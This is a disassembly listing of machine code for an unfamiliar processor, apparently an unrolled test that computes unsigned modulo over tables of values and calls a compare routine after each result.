8288: 10 40 02 10 ld32 r16,r16
828c: 0d 45 7d 38 wl16 r9,0x2bf8
8290: 0d 60 01 23 wh16 r9,0x3
8294: 10 40 01 29 ld32 r9,r9
8298: 00 a0 01 10 umod r8,r16
829c: 20 70 03 e2 movepc rret,8
82a0: 14 30 df 5c br 10 <compare>,#al
82a4: 00 10 00 41 add r2,1
82a8: 0d 41 41 04 wl16 r8,0xa04
82ac: 0d 60 01 03 wh16 r8,0x3
82b0: 10 40 01 08 ld32 r8,r8
82b4: 0d 43 62 00 wl16 r16,0x1b00
82b8: 0d 60 02 03 wh16 r16,0x3
82bc: 10 40 02 10 ld32 r16,r16
82c0: 0d 45 7d 3c wl16 r9,0x2bfc
82c4: 0d 60 01 23 wh16 r9,0x3
82c8: 10 40 01 29 ld32 r9,r9
82cc: 00 a0 01 10 umod r8,r16
82d0: 20 70 03 e2 movepc rret,8
82d4: 14 30 df 4f br 10 <compare>,#al
82d8: 00 10 00 41 add r2,1
82dc: 0d 41 41 08 wl16 r8,0xa08
82e0: 0d 60 01 03 wh16 r8,0x3
82e4: 10 40 01 08 ld32 r8,r8
82e8: 0d 43 62 04 wl16 r16,0x1b04
82ec: 0d 60 02 03 wh16 r16,0x3
82f0: 10 40 02 10 ld32 r16,r16
82f4: 0d 45 81 20 wl16 r9,0x2c00
82f8: 0d 60 01 23 wh16 r9,0x3
82fc: 10 40 01 29 ld32 r9,r9
8300: 00 a0 01 10 umod r8,r16
8304: 20 70 03 e2 movepc rret,8
8308: 14 30 df 42 br 10 <compare>,#al
830c: 00 10 00 41 add r2,1
8310: 0d 41 41 0c wl16 r8,0xa0c
8314: 0d 60 01 03 wh16 r8,0x3
8318: 10 40 01 08 ld32 r8,r8
831c: 0d 43 62 08 wl16 r16,0x1b08
8320: 0d 60 02 03 wh16 r16,0x3
8324: 10 40 02 10 ld32 r16,r16
8328: 0d 45 81 24 wl16 r9,0x2c04
832c: 0d 60 01 23 wh16 r9,0x3
8330: 10 40 01 29 ld32 r9,r9
8334: 00 a0 01 10 umod r8,r16
8338: 20 70 03 e2 movepc rret,8
833c: 14 30 df 35 br 10 <compare>,#al
8340: 00 10 00 41 add r2,1
8344: 0d 41 41 10 wl16 r8,0xa10
8348: 0d 60 01 03 wh16 r8,0x3
834c: 10 40 01 08 ld32 r8,r8
8350: 0d 43 62 0c wl16 r16,0x1b0c
8354: 0d 60 02 03 wh16 r16,0x3
8358: 10 40 02 10 ld32 r16,r16
835c: 0d 45 81 28 wl16 r9,0x2c08
8360: 0d 60 01 23 wh16 r9,0x3
8364: 10 40 01 29 ld32 r9,r9
8368: 00 a0 01 10 umod r8,r16
836c: 20 70 03 e2 movepc rret,8
8370: 14 30 df 28 br 10 <compare>,#al
8374: 00 10 00 41 add r2,1
8378: 0d 41 41 14 wl16 r8,0xa14
837c: 0d 60 01 03 wh16 r8,0x3
8380: 10 40 01 08 ld32 r8,r8
8384: 0d 43 62 10 wl16 r16,0x1b10
8388: 0d 60 02 03 wh16 r16,0x3
838c: 10 40 02 10 ld32 r16,r16
8390: 0d 45 81 2c wl16 r9,0x2c0c
8394: 0d 60 01 23 wh16 r9,0x3
8398: 10 40 01 29 ld32 r9,r9
839c: 00 a0 01 10 umod r8,r16
83a0: 20 70 03 e2 movepc rret,8
83a4: 14 30 df 1b br 10 <compare>,#al
83a8: 00 10 00 41 add r2,1
83ac: 0d 41 41 18 wl16 r8,0xa18
83b0: 0d 60 01 03 wh16 r8,0x3
83b4: 10 40 01 08 ld32 r8,r8
83b8: 0d 43 62 14 wl16 r16,0x1b14
83bc: 0d 60 02 03 wh16 r16,0x3
83c0: 10 40 02 10 ld32 r16,r16
83c4: 0d 45 81 30 wl16 r9,0x2c10
83c8: 0d 60 01 23 wh16 r9,0x3
83cc: 10 40 01 29 ld32 r9,r9
83d0: 00 a0 01 10 umod r8,r16
83d4: 20 70 03 e2 movepc rret,8
83d8: 14 30 df 0e br 10 <compare>,#al
83dc: 00 10 00 41 add r2,1
83e0: 0d 41 41 1c wl16 r8,0xa1c
83e4: 0d 60 01 03 wh16 r8,0x3
83e8: 10 40 01 08 ld32 r8,r8
83ec: 0d 43 62 18 wl16 r16,0x1b18
83f0: 0d 60 02 03 wh16 r16,0x3
83f4: 10 40 02 10 ld32 r16,r16
83f8: 0d 45 81 34 wl16 r9,0x2c14
83fc: 0d 60 01 23 wh16 r9,0x3
8400: 10 40 01 29 ld32 r9,r9
8404: 00 a0 01 10 umod r8,r16
8408: 20 70 03 e2 movepc rret,8
840c: 14 30 df 01 br 10 <compare>,#al
8410: 00 10 00 41 add r2,1
8414: 0d 41 45 00 wl16 r8,0xa20
8418: 0d 60 01 03 wh16 r8,0x3
841c: 10 40 01 08 ld32 r8,r8
8420: 0d 43 62 1c wl16 r16,0x1b1c
8424: 0d 60 02 03 wh16 r16,0x3
8428: 10 40 02 10 ld32 r16,r16
842c: 0d 45 81 38 wl16 r9,0x2c18
8430: 0d 60 01 23 wh16 r9,0x3
8434: 10 40 01 29 ld32 r9,r9
8438: 00 a0 01 10 umod r8,r16
843c: 20 70 03 e2 movepc rret,8
8440: 14 30 de f4 br 10 <compare>,#al
8444: 00 10 00 41 add r2,1
8448: 0d 41 45 04 wl16 r8,0xa24
844c: 0d 60 01 03 wh16 r8,0x3
8450: 10 40 01 08 ld32 r8,r8
8454: 0d 43 66 00 wl16 r16,0x1b20
8458: 0d 60 02 03 wh16 r16,0x3
845c: 10 40 02 10 ld32 r16,r16
8460: 0d 45 81 3c wl16 r9,0x2c1c
8464: 0d 60 01 23 wh16 r9,0x3
8468: 10 40 01 29 ld32 r9,r9
846c: 00 a0 01 10 umod r8,r16
8470: 20 70 03 e2 movepc rret,8
8474: 14 30 de e7 br 10 <compare>,#al
8478: 00 10 00 41 add r2,1
847c: 0d 41 45 08 wl16 r8,0xa28
8480: 0d 60 01 03 wh16 r8,0x3
8484: 10 40 01 08 ld32 r8,r8
8488: 0d 43 66 04 wl16 r16,0x1b24
848c: 0d 60 02 03 wh16 r16,0x3
8490: 10 40 02 10 ld32 r16,r16
8494: 0d 45 85 20 wl16 r9,0x2c20
8498: 0d 60 01 23 wh16 r9,0x3
849c: 10 40 01 29 ld32 r9,r9
84a0: 00 a0 01 10 umod r8,r16
84a4: 20 70 03 e2 movepc rret,8
84a8: 14 30 de da br 10 <compare>,#al
84ac: 00 10 00 41 add r2,1
84b0: 0d 41 45 0c wl16 r8,0xa2c
84b4: 0d 60 01 03 wh16 r8,0x3
84b8: 10 40 01 08 ld32 r8,r8
84bc: 0d 43 66 08 wl16 r16,0x1b28
84c0: 0d 60 02 03 wh16 r16,0x3
84c4: 10 40 02 10 ld32 r16,r16
84c8: 0d 45 85 24 wl16 r9,0x2c24
84cc: 0d 60 01 23 wh16 r9,0x3
84d0: 10 40 01 29 ld32 r9,r9
84d4: 00 a0 01 10 umod r8,r16
84d8: 20 70 03 e2 movepc rret,8
84dc: 14 30 de cd br 10 <compare>,#al
84e0: 00 10 00 41 add r2,1
84e4: 0d 41 45 10 wl16 r8,0xa30
84e8: 0d 60 01 03 wh16 r8,0x3
84ec: 10 40 01 08 ld32 r8,r8
84f0: 0d 43 66 0c wl16 r16,0x1b2c
84f4: 0d 60 02 03 wh16 r16,0x3
84f8: 10 40 02 10 ld32 r16,r16
84fc: 0d 45 85 28 wl16 r9,0x2c28
8500: 0d 60 01 23 wh16 r9,0x3
8504: 10 40 01 29 ld32 r9,r9
8508: 00 a0 01 10 umod r8,r16
850c: 20 70 03 e2 movepc rret,8
8510: 14 30 de c0 br 10 <compare>,#al
8514: 00 10 00 41 add r2,1
8518: 0d 41 45 14 wl16 r8,0xa34
851c: 0d 60 01 03 wh16 r8,0x3
8520: 10 40 01 08 ld32 r8,r8
8524: 0d 43 66 10 wl16 r16,0x1b30
8528: 0d 60 02 03 wh16 r16,0x3
852c: 10 40 02 10 ld32 r16,r16
8530: 0d 45 85 2c wl16 r9,0x2c2c
8534: 0d 60 01 23 wh16 r9,0x3
8538: 10 40 01 29 ld32 r9,r9
853c: 00 a0 01 10 umod r8,r16
8540: 20 70 03 e2 movepc rret,8
8544: 14 30 de b3 br 10 <compare>,#al
8548: 00 10 00 41 add r2,1
854c: 0d 41 45 18 wl16 r8,0xa38
8550: 0d 60 01 03 wh16 r8,0x3
8554: 10 40 01 08 ld32 r8,r8
8558: 0d 43 66 14 wl16 r16,0x1b34
855c: 0d 60 02 03 wh16 r16,0x3
8560: 10 40 02 10 ld32 r16,r16
8564: 0d 45 85 30 wl16 r9,0x2c30
8568: 0d 60 01 23 wh16 r9,0x3
856c: 10 40 01 29 ld32 r9,r9
8570: 00 a0 01 10 umod r8,r16
8574: 20 70 03 e2 movepc rret,8
8578: 14 30 de a6 br 10 <compare>,#al
857c: 00 10 00 41 add r2,1
8580: 0d 41 45 1c wl16 r8,0xa3c
8584: 0d 60 01 03 wh16 r8,0x3
8588: 10 40 01 08 ld32 r8,r8
858c: 0d 43 66 18 wl16 r16,0x1b38
8590: 0d 60 02 03 wh16 r16,0x3
8594: 10 40 02 10 ld32 r16,r16
8598: 0d 45 85 34 wl16 r9,0x2c34
859c: 0d 60 01 23 wh16 r9,0x3
85a0: 10 40 01 29 ld32 r9,r9
85a4: 00 a0 01 10 umod r8,r16
85a8: 20 70 03 e2 movepc rret,8
85ac: 14 30 de 99 br 10 <compare>,#al
85b0: 00 10 00 41 add r2,1
85b4: 0d 41 49 00 wl16 r8,0xa40
85b8: 0d 60 01 03 wh16 r8,0x3
85bc: 10 40 01 08 ld32 r8,r8
85c0: 0d 43 66 1c wl16 r16,0x1b3c
85c4: 0d 60 02 03 wh16 r16,0x3
85c8: 10 40 02 10 ld32 r16,r16
85cc: 0d 45 85 38 wl16 r9,0x2c38
85d0: 0d 60 01 23 wh16 r9,0x3
85d4: 10 40 01 29 ld32 r9,r9
85d8: 00 a0 01 10 umod r8,r16
85dc: 20 70 03 e2 movepc rret,8
85e0: 14 30 de 8c br 10 <compare>,#al
85e4: 00 10 00 41 add r2,1
85e8: 0d 41 49 04 wl16 r8,0xa44
85ec: 0d 60 01 03 wh16 r8,0x3
85f0: 10 40 01 08 ld32 r8,r8
85f4: 0d 43 6a 00 wl16 r16,0x1b40
85f8: 0d 60 02 03 wh16 r16,0x3
85fc: 10 40 02 10 ld32 r16,r16
8600: 0d 45 85 3c wl16 r9,0x2c3c
8604: 0d 60 01 23 wh16 r9,0x3
8608: 10 40 01 29 ld32 r9,r9
860c: 00 a0 01 10 umod r8,r16
8610: 20 70 03 e2 movepc rret,8
8614: 14 30 de 7f br 10 <compare>,#al
8618: 00 10 00 41 add r2,1
861c: 0d 41 49 08 wl16 r8,0xa48
8620: 0d 60 01 03 wh16 r8,0x3
8624: 10 40 01 08 ld32 r8,r8
8628: 0d 43 6a 04 wl16 r16,0x1b44
862c: 0d 60 02 03 wh16 r16,0x3
8630: 10 40 02 10 ld32 r16,r16
8634: 0d 45 89 20 wl16 r9,0x2c40
8638: 0d 60 01 23 wh16 r9,0x3
863c: 10 40 01 29 ld32 r9,r9
8640: 00 a0 01 10 umod r8,r16
8644: 20 70 03 e2 movepc rret,8
8648: 14 30 de 72 br 10 <compare>,#al
864c: 00 10 00 41 add r2,1
8650: 0d 41 49 0c wl16 r8,0xa4c
8654: 0d 60 01 03 wh16 r8,0x3
8658: 10 40 01 08 ld32 r8,r8
865c: 0d 43 6a 08 wl16 r16,0x1b48
8660: 0d 60 02 03 wh16 r16,0x3
8664: 10 40 02 10 ld32 r16,r16
8668: 0d 45 89 24 wl16 r9,0x2c44
866c: 0d 60 01 23 wh16 r9,0x3
8670: 10 40 01 29 ld32 r9,r9
8674: 00 a0 01 10 umod r8,r16
8678: 20 70 03 e2 movepc rret,8
867c: 14 30 de 65 br 10 <compare>,#al
8680: 00 10 00 41 add r2,1
8684: 0d 41 49 10 wl16 r8,0xa50
8688: 0d 60 01 03 wh16 r8,0x3
868c: 10 40 01 08 ld32 r8,r8
8690: 0d 43 6a 0c wl16 r16,0x1b4c
8694: 0d 60 02 03 wh16 r16,0x3
8698: 10 40 02 10 ld32 r16,r16
869c: 0d 45 89 28 wl16 r9,0x2c48
86a0: 0d 60 01 23 wh16 r9,0x3
86a4: 10 40 01 29 ld32 r9,r9
86a8: 00 a0 01 10 umod r8,r16
86ac: 20 70 03 e2 movepc rret,8
86b0: 14 30 de 58 br 10 <compare>,#al
86b4: 00 10 00 41 add r2,1
86b8: 0d 41 49 14 wl16 r8,0xa54
86bc: 0d 60 01 03 wh16 r8,0x3
86c0: 10 40 01 08 ld32 r8,r8
86c4: 0d 43 6a 10 wl16 r16,0x1b50
86c8: 0d 60 02 03 wh16 r16,0x3
86cc: 10 40 02 10 ld32 r16,r16
86d0: 0d 45 89 2c wl16 r9,0x2c4c
86d4: 0d 60 01 23 wh16 r9,0x3
86d8: 10 40 01 29 ld32 r9,r9
86dc: 00 a0 01 10 umod r8,r16
86e0: 20 70 03 e2 movepc rret,8
86e4: 14 30 de 4b br 10 <compare>,#al
86e8: 00 10 00 41 add r2,1
86ec: 0d 41 49 18 wl16 r8,0xa58
86f0: 0d 60 01 03 wh16 r8,0x3
86f4: 10 40 01 08 ld32 r8,r8
86f8: 0d 43 6a 14 wl16 r16,0x1b54
86fc: 0d 60 02 03 wh16 r16,0x3
8700: 10 40 02 10 ld32 r16,r16
8704: 0d 45 89 30 wl16 r9,0x2c50
8708: 0d 60 01 23 wh16 r9,0x3
870c: 10 40 01 29 ld32 r9,r9
8710: 00 a0 01 10 umod r8,r16
8714: 20 70 03 e2 movepc rret,8
8718: 14 30 de 3e br 10 <compare>,#al
871c: 00 10 00 41 add r2,1
8720: 0d 41 49 1c wl16 r8,0xa5c
8724: 0d 60 01 03 wh16 r8,0x3
8728: 10 40 01 08 ld32 r8,r8
872c: 0d 43 6a 18 wl16 r16,0x1b58
8730: 0d 60 02 03 wh16 r16,0x3
8734: 10 40 02 10 ld32 r16,r16
8738: 0d 45 89 34 wl16 r9,0x2c54
873c: 0d 60 01 23 wh16 r9,0x3
8740: 10 40 01 29 ld32 r9,r9
8744: 00 a0 01 10 umod r8,r16
8748: 20 70 03 e2 movepc rret,8
874c: 14 30 de 31 br 10 <compare>,#al
8750: 00 10 00 41 add r2,1
8754: 0d 41 4d 00 wl16 r8,0xa60
8758: 0d 60 01 03 wh16 r8,0x3
875c: 10 40 01 08 ld32 r8,r8
8760: 0d 43 6a 1c wl16 r16,0x1b5c
8764: 0d 60 02 03 wh16 r16,0x3
8768: 10 40 02 10 ld32 r16,r16
876c: 0d 45 89 38 wl16 r9,0x2c58
8770: 0d 60 01 23 wh16 r9,0x3
8774: 10 40 01 29 ld32 r9,r9
8778: 00 a0 01 10 umod r8,r16
877c: 20 70 03 e2 movepc rret,8
8780: 14 30 de 24 br 10 <compare>,#al
8784: 00 10 00 41 add r2,1
8788: 0d 41 4d 04 wl16 r8,0xa64
878c: 0d 60 01 03 wh16 r8,0x3
8790: 10 40 01 08 ld32 r8,r8
8794: 0d 43 6e 00 wl16 r16,0x1b60
8798: 0d 60 02 03 wh16 r16,0x3
879c: 10 40 02 10 ld32 r16,r16
87a0: 0d 45 89 3c wl16 r9,0x2c5c
87a4: 0d 60 01 23 wh16 r9,0x3
87a8: 10 40 01 29 ld32 r9,r9
87ac: 00 a0 01 10 umod r8,r16
87b0: 20 70 03 e2 movepc rret,8
87b4: 14 30 de 17 br 10 <compare>,#al
87b8: 00 10 00 41 add r2,1
87bc: 0d 41 4d 08 wl16 r8,0xa68
87c0: 0d 60 01 03 wh16 r8,0x3
87c4: 10 40 01 08 ld32 r8,r8
87c8: 0d 43 6e 04 wl16 r16,0x1b64
87cc: 0d 60 02 03 wh16 r16,0x3
87d0: 10 40 02 10 ld32 r16,r16
87d4: 0d 45 8d 20 wl16 r9,0x2c60
87d8: 0d 60 01 23 wh16 r9,0x3
87dc: 10 40 01 29 ld32 r9,r9
87e0: 00 a0 01 10 umod r8,r16
87e4: 20 70 03 e2 movepc rret,8
87e8: 14 30 de 0a br 10 <compare>,#al
87ec: 00 10 00 41 add r2,1
87f0: 0d 41 4d 0c wl16 r8,0xa6c
87f4: 0d 60 01 03 wh16 r8,0x3
87f8: 10 40 01 08 ld32 r8,r8
87fc: 0d 43 6e 08 wl16 r16,0x1b68
8800: 0d 60 02 03 wh16 r16,0x3
8804: 10 40 02 10 ld32 r16,r16
8808: 0d 45 8d 24 wl16 r9,0x2c64
880c: 0d 60 01 23 wh16 r9,0x3
8810: 10 40 01 29 ld32 r9,r9
8814: 00 a0 01 10 umod r8,r16
8818: 20 70 03 e2 movepc rret,8
881c: 14 30 dd fd br 10 <compare>,#al
8820: 00 10 00 41 add r2,1
8824: 0d 41 4d 10 wl16 r8,0xa70
8828: 0d 60 01 03 wh16 r8,0x3
882c: 10 40 01 08 ld32 r8,r8
8830: 0d 43 6e 0c wl16 r16,0x1b6c
8834: 0d 60 02 03 wh16 r16,0x3
8838: 10 40 02 10 ld32 r16,r16
883c: 0d 45 8d 28 wl16 r9,0x2c68
8840: 0d 60 01 23 wh16 r9,0x3
8844: 10 40 01 29 ld32 r9,r9
8848: 00 a0 01 10 umod r8,r16
884c: 20 70 03 e2 movepc rret,8
8850: 14 30 dd f0 br 10 <compare>,#al
8854: 00 10 00 41 add r2,1
8858: 0d 41 4d 14 wl16 r8,0xa74
885c: 0d 60 01 03 wh16 r8,0x3
8860: 10 40 01 08 ld32 r8,r8
8864: 0d 43 6e 10 wl16 r16,0x1b70
8868: 0d 60 02 03 wh16 r16,0x3
886c: 10 40 02 10 ld32 r16,r16
8870: 0d 45 8d 2c wl16 r9,0x2c6c
8874: 0d 60 01 23 wh16 r9,0x3
8878: 10 40 01 29 ld32 r9,r9
887c: 00 a0 01 10 umod r8,r16
8880: 20 70 03 e2 movepc rret,8
8884: 14 30 dd e3 br 10 <compare>,#al
8888: 00 10 00 41 add r2,1
888c: 0d 41 4d 18 wl16 r8,0xa78
8890: 0d 60 01 03 wh16 r8,0x3
8894: 10 40 01 08 ld32 r8,r8
8898: 0d 43 6e 14 wl16 r16,0x1b74
889c: 0d 60 02 03 wh16 r16,0x3
88a0: 10 40 02 10 ld32 r16,r16
88a4: 0d 45 8d 30 wl16 r9,0x2c70
88a8: 0d 60 01 23 wh16 r9,0x3
88ac: 10 40 01 29 ld32 r9,r9
88b0: 00 a0 01 10 umod r8,r16
88b4: 20 70 03 e2 movepc rret,8
88b8: 14 30 dd d6 br 10 <compare>,#al
88bc: 00 10 00 41 add r2,1
88c0: 0d 41 4d 1c wl16 r8,0xa7c
88c4: 0d 60 01 03 wh16 r8,0x3
88c8: 10 40 01 08 ld32 r8,r8
88cc: 0d 43 6e 18 wl16 r16,0x1b78
88d0: 0d 60 02 03 wh16 r16,0x3
88d4: 10 40 02 10 ld32 r16,r16
88d8: 0d 45 8d 34 wl16 r9,0x2c74
88dc: 0d 60 01 23 wh16 r9,0x3
88e0: 10 40 01 29 ld32 r9,r9
88e4: 00 a0 01 10 umod r8,r16
88e8: 20 70 03 e2 movepc rret,8
88ec: 14 30 dd c9 br 10 <compare>,#al
88f0: 00 10 00 41 add r2,1
88f4: 0d 41 51 00 wl16 r8,0xa80
88f8: 0d 60 01 03 wh16 r8,0x3
88fc: 10 40 01 08 ld32 r8,r8
8900: 0d 43 6e 1c wl16 r16,0x1b7c
8904: 0d 60 02 03 wh16 r16,0x3
8908: 10 40 02 10 ld32 r16,r16
890c: 0d 45 8d 38 wl16 r9,0x2c78
8910: 0d 60 01 23 wh16 r9,0x3
8914: 10 40 01 29 ld32 r9,r9
8918: 00 a0 01 10 umod r8,r16
891c: 20 70 03 e2 movepc rret,8
8920: 14 30 dd bc br 10 <compare>,#al
8924: 00 10 00 41 add r2,1
8928: 0d 41 51 04 wl16 r8,0xa84
892c: 0d 60 01 03 wh16 r8,0x3
8930: 10 40 01 08 ld32 r8,r8
8934: 0d 43 72 00 wl16 r16,0x1b80
8938: 0d 60 02 03 wh16 r16,0x3
893c: 10 40 02 10 ld32 r16,r16
8940: 0d 45 8d 3c wl16 r9,0x2c7c
8944: 0d 60 01 23 wh16 r9,0x3
8948: 10 40 01 29 ld32 r9,r9
894c: 00 a0 01 10 umod r8,r16
8950: 20 70 03 e2 movepc rret,8
8954: 14 30 dd af br 10 <compare>,#al
8958: 00 10 00 41 add r2,1
895c: 0d 41 51 08 wl16 r8,0xa88
8960: 0d 60 01 03 wh16 r8,0x3
8964: 10 40 01 08 ld32 r8,r8
8968: 0d 43 72 04 wl16 r16,0x1b84
896c: 0d 60 02 03 wh16 r16,0x3
8970: 10 40 02 10 ld32 r16,r16
8974: 0d 45 91 20 wl16 r9,0x2c80
8978: 0d 60 01 23 wh16 r9,0x3
897c: 10 40 01 29 ld32 r9,r9
8980: 00 a0 01 10 umod r8,r16
8984: 20 70 03 e2 movepc rret,8
8988: 14 30 dd a2 br 10 <compare>,#al
898c: 00 10 00 41 add r2,1
8990: 0d 41 51 0c wl16 r8,0xa8c
8994: 0d 60 01 03 wh16 r8,0x3
8998: 10 40 01 08 ld32 r8,r8
899c: 0d 43 72 08 wl16 r16,0x1b88
89a0: 0d 60 02 03 wh16 r16,0x3
89a4: 10 40 02 10 ld32 r16,r16
89a8: 0d 45 91 24 wl16 r9,0x2c84
89ac: 0d 60 01 23 wh16 r9,0x3
89b0: 10 40 01 29 ld32 r9,r9
89b4: 00 a0 01 10 umod r8,r16
89b8: 20 70 03 e2 movepc rret,8
89bc: 14 30 dd 95 br 10 <compare>,#al
89c0: 00 10 00 41 add r2,1
89c4: 0d 41 51 10 wl16 r8,0xa90
89c8: 0d 60 01 03 wh16 r8,0x3
89cc: 10 40 01 08 ld32 r8,r8
89d0: 0d 43 72 0c wl16 r16,0x1b8c
89d4: 0d 60 02 03 wh16 r16,0x3
89d8: 10 40 02 10 ld32 r16,r16
89dc: 0d 45 91 28 wl16 r9,0x2c88
89e0: 0d 60 01 23 wh16 r9,0x3
89e4: 10 40 01 29 ld32 r9,r9
89e8: 00 a0 01 10 umod r8,r16
89ec: 20 70 03 e2 movepc rret,8
89f0: 14 30 dd 88 br 10 <compare>,#al
89f4: 00 10 00 41 add r2,1
89f8: 0d 41 51 14 wl16 r8,0xa94
89fc: 0d 60 01 03 wh16 r8,0x3
8a00: 10 40 01 08 ld32 r8,r8
8a04: 0d 43 72 10 wl16 r16,0x1b90
8a08: 0d 60 02 03 wh16 r16,0x3
8a0c: 10 40 02 10 ld32 r16,r16
8a10: 0d 45 91 2c wl16 r9,0x2c8c
8a14: 0d 60 01 23 wh16 r9,0x3
8a18: 10 40 01 29 ld32 r9,r9
8a1c: 00 a0 01 10 umod r8,r16
8a20: 20 70 03 e2 movepc rret,8
8a24: 14 30 dd 7b br 10 <compare>,#al
8a28: 00 10 00 41 add r2,1
8a2c: 0d 41 51 18 wl16 r8,0xa98
8a30: 0d 60 01 03 wh16 r8,0x3
8a34: 10 40 01 08 ld32 r8,r8
8a38: 0d 43 72 14 wl16 r16,0x1b94
8a3c: 0d 60 02 03 wh16 r16,0x3
8a40: 10 40 02 10 ld32 r16,r16
8a44: 0d 45 91 30 wl16 r9,0x2c90
8a48: 0d 60 01 23 wh16 r9,0x3
8a4c: 10 40 01 29 ld32 r9,r9
8a50: 00 a0 01 10 umod r8,r16
8a54: 20 70 03 e2 movepc rret,8
8a58: 14 30 dd 6e br 10 <compare>,#al
8a5c: 00 10 00 41 add r2,1
8a60: 0d 41 51 1c wl16 r8,0xa9c
8a64: 0d 60 01 03 wh16 r8,0x3
8a68: 10 40 01 08 ld32 r8,r8
8a6c: 0d 43 72 18 wl16 r16,0x1b98
8a70: 0d 60 02 03 wh16 r16,0x3
8a74: 10 40 02 10 ld32 r16,r16
8a78: 0d 45 91 34 wl16 r9,0x2c94
8a7c: 0d 60 01 23 wh16 r9,0x3
8a80: 10 40 01 29 ld32 r9,r9
8a84: 00 a0 01 10 umod r8,r16
8a88: 20 70 03 e2 movepc rret,8
8a8c: 14 30 dd 61 br 10 <compare>,#al
8a90: 00 10 00 41 add r2,1
8a94: 0d 41 55 00 wl16 r8,0xaa0
8a98: 0d 60 01 03 wh16 r8,0x3
8a9c: 10 40 01 08 ld32 r8,r8
8aa0: 0d 43 72 1c wl16 r16,0x1b9c
8aa4: 0d 60 02 03 wh16 r16,0x3
8aa8: 10 40 02 10 ld32 r16,r16
8aac: 0d 45 91 38 wl16 r9,0x2c98
8ab0: 0d 60 01 23 wh16 r9,0x3
8ab4: 10 40 01 29 ld32 r9,r9
8ab8: 00 a0 01 10 umod r8,r16
8abc: 20 70 03 e2 movepc rret,8
8ac0: 14 30 dd 54 br 10 <compare>,#al
8ac4: 00 10 00 41 add r2,1
8ac8: 0d 41 55 04 wl16 r8,0xaa4
8acc: 0d 60 01 03 wh16 r8,0x3
8ad0: 10 40 01 08 ld32 r8,r8
8ad4: 0d 43 76 00 wl16 r16,0x1ba0
8ad8: 0d 60 02 03 wh16 r16,0x3
8adc: 10 40 02 10 ld32 r16,r16
8ae0: 0d 45 91 3c wl16 r9,0x2c9c
8ae4: 0d 60 01 23 wh16 r9,0x3
8ae8: 10 40 01 29 ld32 r9,r9
8aec: 00 a0 01 10 umod r8,r16
8af0: 20 70 03 e2 movepc rret,8
8af4: 14 30 dd 47 br 10 <compare>,#al
8af8: 00 10 00 41 add r2,1
8afc: 0d 41 55 08 wl16 r8,0xaa8
8b00: 0d 60 01 03 wh16 r8,0x3
8b04: 10 40 01 08 ld32 r8,r8
8b08: 0d 43 76 04 wl16 r16,0x1ba4
8b0c: 0d 60 02 03 wh16 r16,0x3
8b10: 10 40 02 10 ld32 r16,r16
8b14: 0d 45 95 20 wl16 r9,0x2ca0
8b18: 0d 60 01 23 wh16 r9,0x3
8b1c: 10 40 01 29 ld32 r9,r9
8b20: 00 a0 01 10 umod r8,r16
8b24: 20 70 03 e2 movepc rret,8
8b28: 14 30 dd 3a br 10 <compare>,#al
8b2c: 00 10 00 41 add r2,1
8b30: 0d 41 55 0c wl16 r8,0xaac
8b34: 0d 60 01 03 wh16 r8,0x3
8b38: 10 40 01 08 ld32 r8,r8
8b3c: 0d 43 76 08 wl16 r16,0x1ba8
8b40: 0d 60 02 03 wh16 r16,0x3
8b44: 10 40 02 10 ld32 r16,r16
8b48: 0d 45 95 24 wl16 r9,0x2ca4
8b4c: 0d 60 01 23 wh16 r9,0x3
8b50: 10 40 01 29 ld32 r9,r9
8b54: 00 a0 01 10 umod r8,r16
8b58: 20 70 03 e2 movepc rret,8
8b5c: 14 30 dd 2d br 10 <compare>,#al
8b60: 00 10 00 41 add r2,1
8b64: 0d 41 55 10 wl16 r8,0xab0
8b68: 0d 60 01 03 wh16 r8,0x3
8b6c: 10 40 01 08 ld32 r8,r8
8b70: 0d 43 76 0c wl16 r16,0x1bac
8b74: 0d 60 02 03 wh16 r16,0x3
8b78: 10 40 02 10 ld32 r16,r16
8b7c: 0d 45 95 28 wl16 r9,0x2ca8
8b80: 0d 60 01 23 wh16 r9,0x3
8b84: 10 40 01 29 ld32 r9,r9
8b88: 00 a0 01 10 umod r8,r16
8b8c: 20 70 03 e2 movepc rret,8
8b90: 14 30 dd 20 br 10 <compare>,#al
8b94: 00 10 00 41 add r2,1
8b98: 0d 41 55 14 wl16 r8,0xab4
8b9c: 0d 60 01 03 wh16 r8,0x3
8ba0: 10 40 01 08 ld32 r8,r8
8ba4: 0d 43 76 10 wl16 r16,0x1bb0
8ba8: 0d 60 02 03 wh16 r16,0x3
8bac: 10 40 02 10 ld32 r16,r16
8bb0: 0d 45 95 2c wl16 r9,0x2cac
8bb4: 0d 60 01 23 wh16 r9,0x3
8bb8: 10 40 01 29 ld32 r9,r9
8bbc: 00 a0 01 10 umod r8,r16
8bc0: 20 70 03 e2 movepc rret,8
8bc4: 14 30 dd 13 br 10 <compare>,#al
8bc8: 00 10 00 41 add r2,1
8bcc: 0d 41 55 18 wl16 r8,0xab8
8bd0: 0d 60 01 03 wh16 r8,0x3
8bd4: 10 40 01 08 ld32 r8,r8
8bd8: 0d 43 76 14 wl16 r16,0x1bb4
8bdc: 0d 60 02 03 wh16 r16,0x3
8be0: 10 40 02 10 ld32 r16,r16
8be4: 0d 45 95 30 wl16 r9,0x2cb0
8be8: 0d 60 01 23 wh16 r9,0x3
8bec: 10 40 01 29 ld32 r9,r9
8bf0: 00 a0 01 10 umod r8,r16
8bf4: 20 70 03 e2 movepc rret,8
8bf8: 14 30 dd 06 br 10 <compare>,#al
8bfc: 00 10 00 41 add r2,1
8c00: 0d 41 55 1c wl16 r8,0xabc
8c04: 0d 60 01 03 wh16 r8,0x3
8c08: 10 40 01 08 ld32 r8,r8
8c0c: 0d 43 76 18 wl16 r16,0x1bb8
8c10: 0d 60 02 03 wh16 r16,0x3
8c14: 10 40 02 10 ld32 r16,r16
8c18: 0d 45 95 34 wl16 r9,0x2cb4
8c1c: 0d 60 01 23 wh16 r9,0x3
8c20: 10 40 01 29 ld32 r9,r9
8c24: 00 a0 01 10 umod r8,r16
8c28: 20 70 03 e2 movepc rret,8
8c2c: 14 30 dc f9 br 10 <compare>,#al
8c30: 00 10 00 41 add r2,1
8c34: 0d 41 59 00 wl16 r8,0xac0
8c38: 0d 60 01 03 wh16 r8,0x3
8c3c: 10 40 01 08 ld32 r8,r8
8c40: 0d 43 76 1c wl16 r16,0x1bbc
8c44: 0d 60 02 03 wh16 r16,0x3
8c48: 10 40 02 10 ld32 r16,r16
8c4c: 0d 45 95 38 wl16 r9,0x2cb8
8c50: 0d 60 01 23 wh16 r9,0x3
8c54: 10 40 01 29 ld32 r9,r9
8c58: 00 a0 01 10 umod r8,r16
8c5c: 20 70 03 e2 movepc rret,8
